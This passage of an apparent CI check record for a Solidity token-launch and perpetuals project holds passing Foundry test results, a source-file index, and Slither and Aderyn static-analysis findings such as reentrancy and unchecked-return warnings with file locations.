659486)\n[PASS] test_OnlyTheTimelockTunesThePerps() (gas: 120335)\n[PASS] test_PerpFeesReachThePot() (gas: 704516)\n[PASS] test_ReportedRangeEndDrainCannotExhaustLongBacking() (gas: 14360441)\nLogs:\n  real ETH remaining: 103843307849973044\n  virtual ETH depth: 19366225365553498597\n  long principal: 93100000000000000\n  open positions: 4\n\n[PASS] test_TheCreatedEngineStaysClosableAfterTheTimelockRewiresTheHook() (gas: 2423737)\n[PASS] test_TheCrowdedSideByNotionalPaysFunding() (gas: 3867864)\n[PASS] test_ThePerpsAreCreatedAndWired() (gas: 145490)\n[PASS] test_ThePerpsCodeIsTheAuditedCode() (gas: 61408323)\n[PASS] test_ThePerpsPassTheAdmissionScan() (gas: 14699093)\n[PASS] test_TokenVaultQueueAndYieldStayBacked() (gas: 2373331)\nSuite result: ok. 15 passed; 0 failed; 0 skipped; finished in 174.71ms (173.60ms CPU time)\n\nRan 55 tests for test/IMD6900RobinhoodLaunch.t.sol:IMD6900RobinhoodLaunchTest\n[PASS] test_ARefusedShareIsOwedNotResplit() (gas: 4332276)\n[PASS] test_BurnCapCannotBeMulticalled() (gas: 4637381)\n[PASS] test_BurnsImdThroughItsExecutor() (gas: 3013902)\n[PASS] test_ClaimsCantChangeAfterTheLaunch() (gas: 1257814)\n[PASS] test_ClaimsNeedTheSnapshot() (gas: 1459986)\n[PASS] test_ClaimsNeverExceedTheReserve() (gas: 1685017)\n[PASS] test_ClaimsOneForOne() (gas: 1582538)\n[PASS] test_ClaimsStayOpenNinetyDays() (gas: 208782)\n[PASS] test_DeploysOnAFreshChain() (gas: 6539954)\n[PASS] test_EachDeployerMinesItsOwnHook() (gas: 4478235)\n[PASS] test_EndingTheClaimsBringsMostOfTheBuyBack() (gas: 2348088)\nLogs:\n  back of the 2.81 ETH buy (C's claim kept by C): 2.733687356599550457\n\n[PASS] test_EthComesBackBeforeTheLaunchOnly() (gas: 1299084)\n[PASS] test_FitsOneTransaction() (gas: 12769737)\nLogs:\n  launch deploy gas (the same for every deployer: no mining): 8264918\n  createHook gas: 1266630\n\n[PASS] test_HarvestSplitsTheEthAndBurnsTheCoin() (gas: 1851172)\nLogs:\n  pot bridge: 0.511887600000000000\n\n[PASS] test_KeepsTheExcessForTheTimelock() (gas: 1429470)\n[PASS] test_LaunchesAtEthereumsPrice() (gas: 1307473)\nLogs:\n  opening buy, coins: 122347490.873046793208740802\n  market cap after the buy, ETH on 1B: 25.007184312087223619\n\n[PASS] test_LaunchesOnce() (gas: 1298705)\n[PASS] test_LowerFeeMovesTheLiquidity() (gas: 2201678)\n[PASS] test_NoClaimsAllOfItBack() (gas: 1979296)\nLogs:\n  back of the 2.81 ETH buy, nobody claimed: 2.809793719288388119\n\n[PASS] test_NoFeeMoveWhilePerpsAreOpen() (gas: 2081387)\n[PASS] test_OnlyTheEngineAndTheLaunchAreRefunded() (gas: 2099355)\n[PASS] test_OnlyTheOwnerLaunches() (gas: 179009)\n[PASS] test_OnlyTheTimelockLowersTheFeeAndOnlyDown() (gas: 1971643)\n[PASS] test_OnlyTheTimelockRecoversEth() (gas: 1299325)\n[PASS] test_OnlyTheTimelockRepointsImdsPool() (gas: 70427)\n[PASS] test_OnlyTheTimelockRepointsTheBurnExecutor() (gas: 92089)\n[PASS] test_OnlyTheTimelockRunsTheHook() (gas: 117863)\n[PASS] test_OnlyTheTimelockSetsTheSplit() (gas: 1806523)\n[PASS] test_PassesTheAdmissionScan() (gas: 15895984)\n[PASS] test_PayOwedAndRecoverEthSettleTheLedger() (gas: 2089981)\n[PASS] test_PerpFeesGoAllToThePot() (gas: 1450360)\n[PASS] test_RefusesAnAddressThatIsnt0x6900() (gas: 702612)\n[PASS] test_RefusesTheWrongAddress() (gas: 710040)\n[PASS] test_SellHeldRefundSurvivesPostTradeNestedSale() (gas: 2812896)\n[PASS] test_SellHeldRefundSurvivesPostTradeNestedSwap() (gas: 2594669)\n[PASS] test_SellHeldRefundSurvivesPreTradeNestedSale() (gas: 2813742)\n[PASS] test_SellHeldRefundSurvivesPreTradeNestedSwap() (gas: 2595131)\n[PASS] test_SendsTheExcessWhereTold() (gas: 1273829)\n[PASS] test_TheBurnBuyRefusesAPushedPrice() (gas: 3871527)\n[PASS] test_TheBurnKeepsWhatThePoolCouldNotTake() (gas: 3034061)\n[PASS] test_TheBuyMustCoverTheClaims() (gas: 1215229)\n[PASS] test_TheCoinFeeGoesWhereTheTimelockSays() (gas: 1800853)\n[PASS] test_TheCoinIsAt0x6900() (gas: 1232253)\nLogs:\n  the coin: 0x6900d11750039d7Ef0f8262b5a62152BB906B8E8\n\n[PASS] test_TheCoinIsPlain() (gas: 1295723)\n[PASS] test_TheEngineTradesFeeFree() (gas: 2787416)\n[PASS] test_TheFeeIsStatic() (gas: 1581934)\n[PASS] test_TheHookIsCreatedOnceAtAFittingSalt() (gas: 5722388)\n[PASS] test_TheHookReportsTheEnginesFee() (gas: 1343884)\n[PASS] test_TheHooksAddressAndPermissions() (gas: 21900)\n[PASS] test_TheLaunchOwnerCannotRenounce() (gas: 39881)\n[PASS] test_TheLiquidityIsLocked() (gas: 2154205)\n[PASS] test_ThePerpsEngineTradesThroughTheHook() (gas: 2311655)\n[PASS] test_TheTimelockSellsTheExcessBack() (gas: 2203554)\nLogs:\n  the excess alone, sold back: ETH: 1.369450260279234059\n\n[PASS] test_TheUnclaimedRestAfterTheDeadline() (gas: 1650147)\n[PASS] test_TradesBothWays() (gas: 1554208)\nSuite result: ok. 55 passed; 0 failed; 0 skipped; finished in 174.89ms (163.88ms CPU time)\n\nRan 5 test suites in 176.37ms (358.25ms CPU time): 74 tests passed, 0 failed, 0 skipped (74 total tests)\n","passed":true},{"durationMs":48,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"IMD6900.approve(address,uint256)\",\"IMD6900.burn(uint256)\",\"IMD6900.permit(address,address,uint256,uint256,uint8,bytes32,bytes32)\",\"IMD6900.transfer(address,uint256)\",\"IMD6900.transferFrom(address,address,uint256)\",\"IMD6900Hook.afterAddLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),int256,int256,bytes)\",\"IMD6900Hook.afterDonate(address,(address,address,uint24,int24,address),uint256,uint256,bytes)\",\"IMD6900Hook.afterInitialize(address,(address,address,uint24,int24,address),uint160,int24)\",\"IMD6900Hook.afterRemoveLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),int256,int256,bytes)\",\"IMD6900Hook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"IMD6900Hook.beforeAddLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\"IMD6900Hook.beforeDonate(address,(address,address,uint24,int24,address),uint256,uint256,bytes)\",\"IMD6900Hook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"IMD6900Hook.beforeRemoveLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\"IMD6900Hook.beforeSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),bytes)\",\"IMD6900Hook.cancelOwnershipHandover()\",\"IMD6900Hook.completeOwnershipHandover(address)\",\"IMD6900Hook.initPerpEngine(address)\",\"IMD6900Hook.renounceOwnership()\",\"IMD6900Hook.requestOwnershipHandover()\",\"IMD6900Hook.setPerpEngine(address)\",\"IMD6900Hook.setPerpRefunded(bool)\",\"IMD6900Hook.setSweepFailOpen(bool)\",\"IMD6900Hook.transferOwnership(address)\",\"IMD6900LockedPool.collect()\",\"IMD6900LockedPool.createPerps(bytes,bytes)\",\"IMD6900LockedPool.feeCheckpoint()\",\"IMD6900LockedPool.feeRefund(address)\",\"IMD6900LockedPool.lowerFee(uint24)\",\"IMD6900LockedPool.open(address,uint160,uint256)\",\"IMD6900LockedPool.receive()\",\"IMD6900LockedPool.setCoinFeeTo(address)\",\"IMD6900LockedPool.setHook(address)\",\"IMD6900LockedPool.unlockCallback(bytes)\",\"IMD6900RobinhoodLaunch.addFees()\",\"IMD6900RobinhoodLaunch.addPerpFees()\",\"IMD6900RobinhoodLaunch.burnImd(uint256)\",\"IMD6900RobinhoodLaunch.cancelOwnershipHandover()\",\"IMD6900RobinhoodLaunch.claim(uint256,uint256,bytes32[])\",\"IMD6900RobinhoodLaunch.completeOwnershipHandover(address)\",\"IMD6900RobinhoodLaunch.createHook(bytes32)\",\"IMD6900RobinhoodLaunch.endClaims()\",\"IMD6900RobinhoodLaunch.harvest()\",\"IMD6900RobinhoodLaunch.launch(bytes32,address,uint160,uint256,address)\",\"IMD6900RobinhoodLaunch.observeImd()\",\"IMD6900RobinhoodLaunch.payOwed(address)\",\"IMD6900RobinhoodLaunch.receive()\",\"IMD6900RobinhoodLaunch.recoverEth(address,uint256)\",\"IMD6900RobinhoodLaunch.releaseExcess(uint256,address)\",\"IMD6900RobinhoodLaunch.releaseImdstr(uint256,address)\",\"IMD6900RobinhoodLaunch.releaseUnclaimed(address)\",\"IMD6900RobinhoodLaunch.renounceOwnership()\",\"IMD6900RobinhoodLaunch.requestOwnershipHandover()\",\"IMD6900RobinhoodLaunch.sellHeld(uint256,uint256,address)\",\"IMD6900RobinhoodLaunch.setClaims(bytes32,uint256,uint256)\",\"IMD6900RobinhoodLaunch.setImdBurn(address)\",\"IMD6900RobinhoodLaunch.setImdPool(uint24,int24,address)\",\"IMD6900RobinhoodLaunch.setPayees(address[],uint16[])\",\"IMD6900RobinhoodLaunch.setPerpFeeTo(address)\",\"IMD6900RobinhoodLaunch.split()\",\"IMD6900RobinhoodLaunch.transferOwnership(address)\",\"IMD6900RobinhoodLaunch.unlockCallback(bytes)\",\"IMD6900RobinhoodLaunch.withdrawEth(address,uint256)\",\"PerpEngine.claimPayout()\",\"PerpEngine.close(uint256,uint256)\",\"PerpEngine.flushFees()\",\"PerpEngine.fundFromVault()\",\"PerpEngine.fundInsurance()\",\"PerpEngine.fundPlv()\",\"PerpEngine.fundPlvToken(uint256)\",\"PerpEngine.fundTokenFromVault(uint256)\",\"PerpEngine.liquidate(uint256)\",\"PerpEngine.openLong(uint8,uint256)\",\"PerpEngine.openShort(uint8,uint256)\",\"PerpEngine.poke()\",\"PerpEngine.receive()\",\"PerpEngine.selfSweep(address)\",\"PerpEngine.setFeeSink(address)\",\"PerpEngine.setFees(uint256,uint256,uint256)\",\"PerpEngine.setGuards(uint32,uint256,uint256)\",\"PerpEngine.setMinCollateral(uint256)\",\"PerpEngine.setRisk(uint8,uint256,uint256,uint256,uint256)\",\"PerpEngine.setShortCap(uint256)\",\"PerpEngine.setVault(address)\",\"PerpEngine.setVaultLimits(uint256,uint256)\",\"PerpEngine.setVaultSplit(uint256,uint256)\",\"PerpEngine.skimInsurance(uint256,address)\",\"PerpEngine.sweepLiquidations(address,int256,bool,uint160)\",\"PerpEngine.transferOwnership(address)\",\"PerpEngine.unlockCallback(bytes)\",\"PerpEngine.withdrawPlvTo(uint256,address)\",\"PerpEngine.withdrawPlvTokenTo(uint256,address)\",\"PerpEngine.withdrawTokYieldTo(uint256,address)\",\"PerpVault.claimPendingEth()\",\"PerpVault.claimPendingToken()\",\"PerpVault.claimTokYield()\",\"PerpVault.depositEth()\",\"PerpVault.depositToken(uint256)\",\"PerpVault.settlePendingEth(address)\",\"PerpVault.settlePendingToken(address)\",\"PerpVault.withdrawEth(uint256)\",\"PerpVault.withdrawToken(uint256)\"],\"files\":{\".gitignore\":15,\"ADAPTATION.md\":158,\"README.md\":159,\"foundry.toml\":30,\"jobs/swarm-launch.json\":27,\"script/claims.py\":88,\"script/launch.sh\":269,\"script/mine.sh\":12,\"script/params.py\":64,\"script/programmable_plan.py\":205,\"snapshots/rh-community-2026-10-09.json\":56,\"src/IMD6900.sol\":29,\"src/IMD6900Hook.sol\":255,\"src/IMD6900LockedPool.sol\":440,\"src/IMD6900RobinhoodLaunch.sol\":669,\"src/perps/PerpEngine.sol\":1284,\"src/perps/PerpSwapLib.sol\":729,\"src/perps/PerpVault.sol\":823,\"test/FactoryDeployment.t.sol\":64,\"test/HookSalt.sol\":47,\"test/IMD6900RobinhoodLaunch.t.sol\":1397,\"test/Perps.t.sol\":486,\"test/RobinhoodFork.t.sol\":255,\"test/Twap.t.sol\":56},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":15509,"exitCode":0,"name":"slither","output":"[high/medium] arbitrary-send-eth at src/IMD6900LockedPool.sol:386: IMD6900LockedPool._payOutHeld() (src/IMD6900LockedPool.sol#386-396) sends eth to arbitrary user\n[high/medium] arbitrary-send-eth at src/IMD6900RobinhoodLaunch.sol:495: IMD6900RobinhoodLaunch.split() (src/IMD6900RobinhoodLaunch.sol#495-523) sends eth to arbitrary user\n[high/medium] arbitrary-send-eth at src/perps/PerpEngine.sol:1047: PerpEngine._sendEth(address,uint256) (src/perps/PerpEngine.sol#1047-1051) sends eth to arbitrary user\n[high/medium] reentrancy-eth at src/IMD6900RobinhoodLaunch.sol:495: Reentrancy in IMD6900RobinhoodLaunch.split() (src/IMD6900RobinhoodLaunch.sol#495-523):\n[high/medium] reentrancy-eth at src/perps/PerpEngine.sol:808: Reentrancy in PerpEngine._settle(uint256,Position,uint256,uint8,address) (src/perps/PerpEngine.sol#808-886):\n[high/medium] reentrancy-eth at src/perps/PerpEngine.sol:582: Reentrancy in PerpEngine._doSweep(address,bool,int256,bool,uint160) (src/perps/PerpEngine.sol#582-692):\n[high/medium] reentrancy-eth at src/perps/PerpEngine.sol:808: Reentrancy in PerpEngine._settle(uint256,Position,uint256,uint8,address) (src/perps/PerpEngine.sol#808-886):\n[high/medium] reentrancy-eth at src/perps/PerpEngine.sol:582: Reentrancy in PerpEngine._doSweep(address,bool,int256,bool,uint160) (src/perps/PerpEngine.sol#582-692):\n[high/medium] reentrancy-eth at src/perps/PerpEngine.sol:464: Reentrancy in PerpEngine.openLong(uint8,uint256) (src/perps/PerpEngine.sol#464-492):\n[high/medium] reentrancy-eth at src/perps/PerpVault.sol:253: Reentrancy in PerpVault.depositEth() (src/perps/PerpVault.sol#253-281):\n[high/medium] reentrancy-eth at src/perps/PerpEngine.sol:808: Reentrancy in PerpEngine._settle(uint256,Position,uint256,uint8,address) (src/perps/PerpEngine.sol#808-886):\n[medium/medium] divide-before-multiply at src/perps/PerpEngine.sol:808: PerpEngine._settle(uint256,Position,uint256,uint8,address) (src/perps/PerpEngine.sol#808-886) performs a multiplication on the result of a division:\n[medium/high] incorrect-equality at src/IMD6900RobinhoodLaunch.sol:391: IMD6900RobinhoodLaunch.recoverEth(address,uint256) (src/IMD6900RobinhoodLaunch.sol#391-400) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/IMD6900RobinhoodLaunch.sol:314: IMD6900RobinhoodLaunch.launch(bytes32,address,uint160,uint256,address) (src/IMD6900RobinhoodLaunch.sol#314-344) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/perps/PerpSwapLib.sol:249: PerpSwapLib.twapTick(PerpSwapLib.Observation[32],PerpSwapLib.Ring,uint32) (src/perps/PerpSwapLib.sol#249-310) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/perps/PerpEngine.sol:411: PerpEngine._pokeFunding() (src/perps/PerpEngine.sol#411-426) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/IMD6900RobinhoodLaunch.sol:300: IMD6900RobinhoodLaunch.withdrawEth(address,uint256) (src/IMD6900RobinhoodLaunch.sol#300-306) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/IMD6900RobinhoodLaunch.sol:495: IMD6900RobinhoodLaunch.split() (src/IMD6900RobinhoodLaunch.sol#495-523) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/perps/PerpEngine.sol:411: PerpEngine._pokeFunding() (src/perps/PerpEngine.sol#411-426) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/perps/PerpEngine.sol:1035: PerpEngine._payOut(address,uint256) (src/perps/PerpEngine.sol#1035-1045) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/perps/PerpEngine.sol:1013: PerpEngine._routeFee(uint256,bool) (src/perps/PerpEngine.sol#1013-1031) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/IMD6900RobinhoodLaunch.sol:526: IMD6900RobinhoodLaunch.payOwed(address) (src/IMD6900RobinhoodLaunch.sol#526-533) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/IMD6900RobinhoodLaunch.sol:495: IMD6900RobinhoodLaunch.split() (src/IMD6900RobinhoodLaunch.sol#495-523) uses a dangerous strict equality:\n[medium/medium] reentrancy-no-eth at src/IMD6900RobinhoodLaunch.sol:212: Reentrancy in IMD6900RobinhoodLaunch.createHook(bytes32) (src/IMD6900RobinhoodLaunch.sol#212-227):\n[medium/medium] reentrancy-no-eth at src/IMD6900RobinhoodLaunch.sol:433: Reentrancy in IMD6900RobinhoodLaunch.sellHeld(uint256,uint256,address) (src/IMD6900RobinhoodLaunch.sol#433-443):\n[medium/medium] reentrancy-no-eth at src/perps/PerpVault.sol:299: Reentrancy in PerpVault.withdrawEth(uint256) (src/perps/PerpVault.sol#299-319):\n[medium/medium] reentrancy-no-eth at src/IMD6900RobinhoodLaunch.sol:541: Reentrancy in IMD6900RobinhoodLaunch.burnImd(uint256) (src/IMD6900RobinhoodLaunch.sol#541-561):\n[medium/medium] reentrancy-no-eth at src/perps/PerpVault.sol:486: Reentrancy in PerpVault.claimPendingEth() (src/perps/PerpVault.sol#486-506):\n[medium/medium] uninitialized-local at src/perps/PerpEngine.sol:593: PerpEngine._doSweep(address,bool,int256,bool,uint160).pendingIds (src/perps/PerpEngine.sol#593) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpSwapLib.sol:540: PerpSwapLib.swapLeg(IPoolManager,PoolKey,PerpSwapLib.Req,bool,bytes).refundQuote (src/perps/PerpSwapLib.sol#540) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpSwapLib.sol:541: PerpSwapLib.swapLeg(IPoolManager,PoolKey,PerpSwapLib.Req,bool,bytes).refundTok (src/perps/PerpSwapLib.sol#541) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpSwapLib.sol:163: PerpSwapLib.projectedSqrtPriceX96(uint160,uint256,uint256,int256,bool,uint160).amountIn (src/perps/PerpSwapLib.sol#163) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpSwapLib.sol:284: PerpSwapLib.twapTick(PerpSwapLib.Observation[32],PerpSwapLib.Ring,uint32).lo (src/perps/PerpSwapLib.sol#284) is a local variable never initialized\n[medium/medium] uninitialized-local at src/IMD6900RobinhoodLaunch.sol:377: IMD6900RobinhoodLaunch.setPayees(address[],uint16[]).sum (src/IMD6900RobinhoodLaunch.sol#377) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpEngine.sol:640: PerpEngine._doSweep(address,bool,int256,bool,uint160).condemnedRemains (src/perps/PerpEngine.sol#640) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpEngine.sol:639: PerpEngine._doSweep(address,bool,int256,bool,uint160).killedAny (src/perps/PerpEngine.sol#639) is a local variable never initialized\n[medium/medium] uninitialized-local at src/IMD6900RobinhoodLaunch.sol:598: IMD6900RobinhoodLaunch.unlockCallback(bytes).sold (src/IMD6900RobinhoodLaunch.sol#598) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpEngine.sol:1015: PerpEngine._routeFee(uint256,bool).toVault (src/perps/PerpEngine.sol#1015) is a local variable never initialized\n[medium/medium] uninitialized-local at src/IMD6900RobinhoodLaunch.sol:597: IMD6900RobinhoodLaunch.unlockCallback(bytes).ethOut (src/IMD6900RobinhoodLaunch.sol#597) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpEngine.sol:1016: PerpEngine._routeFee(uint256,bool).toIns (src/perps/PerpEngine.sol#1016) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpVault.sol:816: PerpVault.pendingTokYield(address).earned (src/perps/PerpVault.sol#816) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpEngine.sol:598: PerpEngine._doSweep(address,bool,int256,bool,uint160).scanned (src/perps/PerpEngine.sol#598) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpEngine.sol:637: PerpEngine._doSweep(address,bool,int256,bool,uint160).clean (src/perps/PerpEngine.sol#637) is a local variable never initialized\n[medium/medium] unused-return at src/IMD6900RobinhoodLaunch.sol:634: IMD6900RobinhoodLaunch._imdSpot() (src/IMD6900RobinhoodLaunch.sol#634-636) ignores return value by (sqrtPriceX96,None,None,None) = poolManager.getSlot0(imdPoolKey().toId()) (src/IMD6900RobinhoodLaunch.sol#635)\n[medium/medium] unused-return at src/IMD6900RobinhoodLaunch.sol:589: IMD6900RobinhoodLaunch.unlockCallback(bytes) (src/IMD6900RobinhoodLaunch.sol#589-622) ignores return value by poolManager.settle{value: ethIn}() (src/IMD6900RobinhoodLaunch.sol#619)\n[medium/medium] unused-return at src/perps/PerpSwapLib.sol:570: PerpSwapLib._grossUp(IPoolManager,PoolKey,bool,uint256) (src/perps/PerpSwapLib.sol#570-580) ignores return value by (None,None,protocolFee,None) = StateLibrary.getSlot0(poolManager,PoolIdLibrary.toId(key)) (src/perps/PerpSwapLib.sol#575)\n[medium/medium] unused-return at src/IMD6900LockedPool.sol:150: IMD6900LockedPool.open(address,uint160,uint256) (src/IMD6900LockedPool.sol#150-171) ignores return value by poolManager.initialize(poolKey(),start) (src/IMD6900LockedPool.sol#162)\n[medium/medium] unused-return at src/IMD6900LockedPool.sol:367: IMD6900LockedPool._liquidityFor(uint256,uint256) (src/IMD6900LockedPool.sol#367-382) ignores return value by (p,None,None,None) = poolManager.getSlot0(poolKey().toId()) (src/IMD6900LockedPool.sol#368)\n[medium/medium] unused-return at src/IMD6900RobinhoodLaunch.sol:589: IMD6900RobinhoodLaunch.unlockCallback(bytes) (src/IMD6900RobinhoodLaunch.sol#589-622) ignores return value by (None,back) = pool.feeRefund(address(this)) (src/IMD6900RobinhoodLaunch.sol#602)\n[medium/medium] unused-return at src/IMD6900LockedPool.sol:305: IMD6900LockedPool.state() (src/IMD6900LockedPool.sol#305-309) ignores return value by (sqrtPriceX96,tick,None,None) = poolManager.getSlot0(id) (src/IMD6900LockedPool.sol#307)\n[medium/medium] unused-return at src/IMD6900LockedPool.sol:178: IMD6900LockedPool.lowerFee(uint24) (src/IMD6900LockedPool.sol#178-195) ignores return value by poolManager.initialize(poolKey(),sqrtPriceX96) (src/IMD6900LockedPool.sol#190)\n[medium/medium] unused-return at src/perps/PerpEngine.sol:346: PerpEngine._slot0() (src/perps/PerpEngine.sol#346-348) ignores return value by (s,t,None,None) = poolManager.getSlot0(poolId) (src/perps/PerpEngine.sol#347)\n[medium/medium] unused-return at src/IMD6900LockedPool.sol:353: IMD6900LockedPool._settle(int128,int128) (src/IMD6900LockedPool.sol#353-364) ignores return value by poolManager.settle() (src/IMD6900LockedPool.sol#360)\n[medium/medium] unused-return at src/IMD6900LockedPool.sol:353: IMD6900LockedPool._settle(int128,int128) (src/IMD6900LockedPool.sol#353-364) ignores return value by poolManager.settle{value: uint256(uint128(- a0))}() (src/IMD6900LockedPool.sol#355)\n[medium/medium] unused-return at src/IMD6900LockedPool.sol:207: IMD6900LockedPool.collect() (src/IMD6900LockedPool.sol#207-211) ignores return value by poolManager.unlock(abi.encode(COLLECT,uint128(0))) (src/IMD6900LockedPool.sol#209)\n[medium/medium] unused-return at src/IMD6900LockedPool.sol:178: IMD6900LockedPool.lowerFee(uint24) (src/IMD6900LockedPool.sol#178-195) ignores return value by (sqrtPriceX96,None,None,None) = poolManager.getSlot0(old.toId()) (src/IMD6900LockedPool.sol#187)\n[medium/medium] unused-return at src/IMD6900Hook.sol:106: IMD6900Hook.perpFeeBps() (src/IMD6900Hook.sol#106-112) ignores return value by (None,None,protocolFee,None) = StateLibrary.getSlot0(poolManager,poolId) (src/IMD6900Hook.sol#108)\n[medium/medium] unused-return at src/IMD6900RobinhoodLaunch.sol:580: IMD6900RobinhoodLaunch.harvest() (src/IMD6900RobinhoodLaunch.sol#580-583) ignores return value by pool.collect() (src/IMD6900RobinhoodLaunch.sol#581)\n[medium/medium] unused-return at src/IMD6900RobinhoodLaunch.sol:314: IMD6900RobinhoodLaunch.launch(bytes32,address,uint160,uint256,address) (src/IMD6900RobinhoodLaunch.sol#314-344) ignores return value by pool.open(t,sqrtPriceX96,SUPPLY) (src/IMD6900RobinhoodLaunch.sol#329)\n[medium/medium] unused-return at src/perps/PerpSwapLib.sol:595: PerpSwapLib._settle(IPoolManager,Currency,uint256) (src/perps/PerpSwapLib.sol#595-610) ignores return value by poolManager.settle{value: amount}() (src/perps/PerpSwapLib.sol#598)\n[medium/medium] unused-return at src/perps/PerpSwapLib.sol:595: PerpSwapLib._settle(IPoolManager,Currency,uint256) (src/perps/PerpSwapLib.sol#595-610) ignores return value by poolManager.settle() (src/perps/PerpSwapLib.sol#608)\n[medium/medium] unused-return at src/IMD6900RobinhoodLaunch.sol:589: IMD6900RobinhoodLaunch.unlockCallback(bytes) (src/IMD6900RobinhoodLaunch.sol#589-622) ignores return value by poolManager.settle() (src/IMD6900RobinhoodLaunch.sol#607)\n[low/medium] events-maths at src/perps/PerpEngine.sol:1222: PerpEngine.setVaultLimits(uint256,uint256) (src/perps/PerpEngine.sol#1222-1226) should emit an event for: \n[low/medium] events-maths at src/perps/PerpEngine.sol:1234: PerpEngine.skimInsurance(uint256,address) (src/perps/PerpEngine.sol#1234-1239) should emit an event for: \n[low/medium] events-maths at src/perps/PerpEngine.sol:1200: PerpEngine.setVaultSplit(uint256,uint256) (src/perps/PerpEngine.sol#1200-1204) should emit an event for: \n[low/medium] events-maths at src/perps/PerpEngine.sol:1165: PerpEngine.setFees(uint256,uint256,uint256) (src/perps/PerpEngine.sol#1165-1170) should emit an event for: \n[low/medium] events-maths at src/perps/PerpEngine.sol:1173: PerpEngine.setRisk(uint8,uint256,uint256,uint256,uint256) (src/perps/PerpEngine.sol#1173-1187) should emit an event for: \n[low/medium] events-maths at src/perps/PerpEngine.sol:464: PerpEngine.openLong(uint8,uint256) (src/perps/PerpEngine.sol#464-492) should emit an event for: \n[low/medium] events-maths at src/perps/PerpEngine.sol:1190: PerpEngine.setShortCap(uint256) (src/perps/PerpEngine.sol#1190-1193) should emit an event for: \n[low/medium] events-maths at src/perps/PerpEngine.sol:1207: PerpEngine.setGuards(uint32,uint256,uint256) (src/perps/PerpEngine.sol#1207-1214) should emit an event for: \n[low/medium] missing-zero-check at src/IMD6900RobinhoodLaunch.sol:198: IMD6900RobinhoodLaunch.constructor(address,IPoolManager,address,address).timelock_ (src/IMD6900RobinhoodLaunch.sol#198) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900LockedPool.sol:140: IMD6900LockedPool.setHook(address).hook_ (src/IMD6900LockedPool.sol#140) lacks a zero-check on :\n[low/medium] missing-zero-check at src/perps/PerpVault.sol:198: PerpVault.constructor(address)._engine (src/perps/PerpVault.sol#198) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900RobinhoodLaunch.sol:198: IMD6900RobinhoodLaunch.constructor(address,IPoolManager,address,address).imdstr_ (src/IMD6900RobinhoodLaunch.sol#198) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900LockedPool.sol:123: IMD6900LockedPool.constructor(IPoolManager,uint24,address,address).timelock_ (src/IMD6900LockedPool.sol#123) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900LockedPool.sol:123: IMD6900LockedPool.constructor(IPoolManager,uint24,address,address).launcher_ (src/IMD6900LockedPool.sol#123) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900Hook.sol:79: IMD6900Hook.constructor(IPoolManager,address,address).pool_ (src/IMD6900Hook.sol#79) lacks a zero-check on :\n[low/medium] missing-zero-check at src/perps/PerpEngine.sol:268: PerpEngine.constructor(IPoolManager,address,address,uint24,int24,address,address)._feeSink (src/perps/PerpEngine.sol#268) lacks a zero-check on :\n[low/medium] missing-zero-check at src/perps/PerpEngine.sol:1195: PerpEngine.setFeeSink(address)._feeSink (src/perps/PerpEngine.sol#1195) lacks a zero-check on :\n[low/medium] missing-zero-check at src/perps/PerpEngine.sol:1217: PerpEngine.setVault(address)._vault (src/perps/PerpEngine.sol#1217) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900Hook.sol:132: IMD6900Hook.initPerpEngine(address).engine (src/IMD6900Hook.sol#132) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900LockedPool.sol:198: IMD69","passed":true},{"durationMs":887,"exitCode":0,"name":"aderyn","output":"[high] abi-encode-packed-hash-collision at src/IMD6900RobinhoodLaunch.sol:257: `abi.encodePacked()` Hash Collision (3 places)\n[high] contract-locks-ether at src/IMD6900Hook.sol:41: Contract locks Ether without a withdraw function (3 places)\n[high] eth-send-unchecked-address at src/perps/PerpEngine.sol:1054: ETH transferred without address checks\n[high] reentrancy-state-change at src/IMD6900LockedPool.sol:162: Reentrancy: State change after external call (19 places)\n[high] storage-array-memory-edit at src/perps/PerpEngine.sol:775: Storage Array Edited with Memory\n[high] unsafe-casting at src/perps/PerpEngine.sol:959: Unsafe Casting of integers\n[low] centralization-risk at src/IMD6900Hook.sol:41: Centralization Risk (25 places)\n[low] costly-loop at src/IMD6900RobinhoodLaunch.sol:378: Costly operations inside loop (5 places)\n[low] large-numeric-literal at src/IMD6900.sol:11: Large Numeric Literal (28 places)\n[low] literal-instead-of-constant at src/IMD6900Hook.sol:107: Literal Instead of Constant (38 places)\n[low] local-variable-shadowing at src/perps/PerpEngine.sol:269: Local Variable Shadows 